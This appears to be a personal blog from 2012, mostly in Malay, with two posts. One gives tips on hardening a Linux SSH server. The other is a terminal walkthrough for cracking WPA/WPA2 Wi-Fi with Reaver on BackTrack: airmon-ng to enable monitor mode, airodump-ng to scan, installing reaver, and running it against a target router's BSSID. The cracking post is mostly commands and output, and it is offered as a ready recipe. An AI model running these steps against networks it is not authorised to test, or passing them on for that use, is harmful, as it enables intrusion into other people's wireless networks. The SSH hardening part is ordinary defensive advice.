Tuesday 4 December 2012

secure a linux server (one day mayb)

mana tau satu hari bleh wat server sndiri so aku post note utk secure server. kot2 nanti xde la susah2 nak cari .. dia ckp use lsof atau apa2 tools 

command utk find out connection port mana pc aku guna



ns003:~# lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
named 17829 root 4u IPv6 12689530 UDP *:34327
named 17829 root 6u IPv4 12689531 UDP *:34329
named 17829 root 20u IPv4 12689526 UDP ns003.unternet.net:domain
named 17829 root 21u IPv4 12689527 TCP ns003.unternet.net:domain (LISTEN)
named 17829 root 22u IPv4 12689528 UDP 209.40.205.146:domain
named 17829 root 23u IPv4 12689529 TCP 209.40.205.146:domain (LISTEN)
lighttpd 17841 www-data 4u IPv4 12689564 TCP *:www (LISTEN)
sshd 17860 root 3u IPv6 12689580 TCP *:ssh (LISTEN)
sshd 17880 root 3u IPv6 12689629 TCP *:8899 (LISTEN)
sshd 30435 root 4u IPv6 74368139 TCP 209.40.205.146:8899->dsl-189-130-12-20.prod-infinitum.com.mx:3262 (ESTABLISHED)


Don't allow root logins on your primary sshd port 22 (set PermitRootLogin to "no"); many automated tools run brute-force attacks on that. Set up a secondary port for root access that only works by shared keys, disallowing passwords: Copy the sshd_config file to root_sshd_config, and change the following items in the new file:
  • Port from 22 to some other number, say 8899 (don't use this! make up your own!)
  • PermitRootLogin from "no" (you were supposed to set it to "no" for port 22, remember?) to "yes"
  • AllowUsers root add this line, or if it exists, change it to allow only root logins on this port
  • ChallengeResponseAuthentication no uncomment this line if it's commented out, and make sure it says "no" instead of "yes"

test command ni




  • sshd -D -f /etc/ssh/root_sshd_config
    and see if it works correctly -- try logging in from another computer (you must have already set up shared-key authentication between the two computers) using:

    ssh -p8899 root@my.remote.server
    and if so, control-C at the above (sshd) command to stop the sshd daemon, then add this to the end of /etc/inittab:

    rssh:2345:respawn:sshd -D -f /etc/ssh/root_sshd_config
  • Restart the init task: # init q This will run your "root ssh daemon" as a background task, automatically restarting it in case of failure.

Wednesday 28 November 2012

Backtrack 5 WPA WPA 2 crack wireless

atas desakkan master drebar aku pun buat blog utk nota. heheh
ni command utk crack wireless guna reaver. walau simple command tp ni slalu aku lupa

terminal 1

root@bt:~# airmon-ng


Interface    Chipset        Driver

wlan0        Atheros AR2417    ath5k - [phy0]
mon0        Atheros AR2417    ath5k - [phy0]

root@bt:~# airmon-ng start wlan0


Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID    Name
932    dhclient3
1515    dhclient3
3112    dhclient
3130    dhclient
Process with PID 1515 (dhclient3) is running on interface wlan0


Interface    Chipset        Driver

wlan0        Atheros AR2417    ath5k - [phy0]
                (monitor mode enabled on mon1)
mon0        Atheros AR2417    ath5k - [phy0]


root@bt:~# airodump-ng mon0


Terminal 2 :


root@bt:~# apt-get update
Get:1 http://32.repository.backtrack-linux.org revolution Release.gpg [197B]
Ign http://32.repository.backtrack-linux.org/ revolution/main Translation-en_US
Ign http://32.repository.backtrack-linux.org/ revolution/microverse Translation-en_US
Get:2 http://all.repository.backtrack-linux.org revolution Release.gpg [197B]
Ign http://all.repository.backtrack-linux.org/ revolution/main Translation-en_US
Ign http://all.repository.backtrack-linux.org/ revolution/microverse Translation-en_US
Get:3 http://source.repository.backtrack-linux.org revolution Release.gpg [197B]
Ign http://source.repository.backtrack-linux.org/ revolution/main Translation-en_US
Ign http://source.repository.backtrack-linux.org/ revolution/microverse Translation-en_US
Ign http://32.repository.backtrack-linux.org/ revolution/non-free Translation-en_US
Ign http://32.repository.backtrack-linux.org/ revolution/testing Translation-en_US
Get:4 http://32.repository.backtrack-linux.org revolution Release [5,041B]
Ign http://all.repository.backtrack-linux.org/ revolution/non-free Translation-en_US
Ign http://all.repository.backtrack-linux.org/ revolution/testing Translation-en_US
Get:5 http://all.repository.backtrack-linux.org revolution Release [13.5kB]
Ign http://source.repository.backtrack-linux.org/ revolution/non-free Translation-en_US
Ign http://source.repository.backtrack-linux.org/ revolution/testing Translation-en_US
Get:6 http://source.repository.backtrack-linux.org revolution Release [13.5kB]
Hit http://32.repository.backtrack-linux.org revolution/main Packages         
Hit http://all.repository.backtrack-linux.org revolution/main Packages
Hit http://source.repository.backtrack-linux.org revolution/main Packages
Hit http://32.repository.backtrack-linux.org revolution/microverse Packages
Hit http://32.repository.backtrack-linux.org revolution/non-free Packages
Get:7 http://32.repository.backtrack-linux.org revolution/testing Packages [59.5kB]
Hit http://all.repository.backtrack-linux.org revolution/microverse Packages
Hit http://all.repository.backtrack-linux.org revolution/non-free Packages   
Get:8 http://all.repository.backtrack-linux.org revolution/testing Packages [87.4kB]
Hit http://source.repository.backtrack-linux.org revolution/microverse Packages
Hit http://source.repository.backtrack-linux.org revolution/non-free Packages 
Hit http://source.repository.backtrack-linux.org revolution/testing Packages  
Fetched 180kB in 3s (53.7kB/s)                                                
Reading package lists... Done




root@bt:~# apt-get install reaver
Reading package lists... Done
Building dependency tree      
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libdmraid1.0.0.rc16 python-pyicu libdebian-installer4 cryptsetup
  libecryptfs0 reiserfsprogs rdate bogl-bterm ecryptfs-utils libdebconfclient0
  dmraid keyutils
Use 'apt-get autoremove' to remove them.
The following NEW packages will be installed:
  reaver
0 upgraded, 1 newly installed, 0 to remove and 120 not upgraded.
Need to get 207kB of archives.
After this operation, 0B of additional disk space will be used.
Get:1 http://32.repository.backtrack-linux.org/ revolution/testing reaver 1.4-bt2 [207kB]
Fetched 207kB in 2s (76.3kB/s)
Selecting previously deselected package reaver.
(Reading database ... 216215 files and directories currently installed.)
Unpacking reaver (from .../reaver_1.4-bt2_i386.deb) ...
Processing triggers for desktop-file-utils ...
Processing triggers for python-gmenu ...
Rebuilding /usr/share/applications/desktop.en_US.utf8.cache...
Processing triggers for python-support ...
Setting up reaver (1.4-bt2) ...




root@bt:~# reaver -i mon0 -b CC:B3:55:F2:50:B0 -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver